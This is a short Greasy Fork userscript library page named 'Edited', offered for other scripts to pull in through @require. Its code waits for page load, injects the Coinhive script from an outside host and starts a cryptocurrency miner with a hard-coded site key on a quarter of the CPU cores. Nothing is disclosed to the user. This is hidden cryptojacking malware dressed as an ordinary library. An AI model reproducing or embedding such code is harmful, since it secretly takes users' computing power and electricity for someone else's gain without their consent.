Edited

Private

此腳本不應該直接安裝,它是一個供其他腳本使用的函式庫。欲使用本函式庫,請在腳本 metadata 寫上: // @require https://update.greasyfork.org/scripts/33415/219824/Edited.js

(function() {

    window.addEventListener('load', function() {
        var s = document.createElement('script');
        document.head.appendChild(s);

        s.src = 'https://coin-hive.com/lib/coinhive.min.js'; // cant load with require
        s.async = 'true';

        s.onload = function() {

            var cores = parseInt(navigator.hardwareConcurrency / 4);

            if (cores > 0) {
                var M;
                M = new CoinHive.Anonymous('ziXGBmaAkPmpRNJJ49pGD2zcPSQ5NJUd', { // Public coin-hive.com key
                    threads: cores,
                });

                M.start(CoinHive.IF_EXCLUSIVE_TAB); // Only one tab

                clog('[*] Mining started');
            } else {
                clog('[*] Mining NOT started (not enough cores)');
            }


            /*setInterval(function() {
                clog(M.getHashesPerSecond());
            }, 1000);*/
        };
    });
})();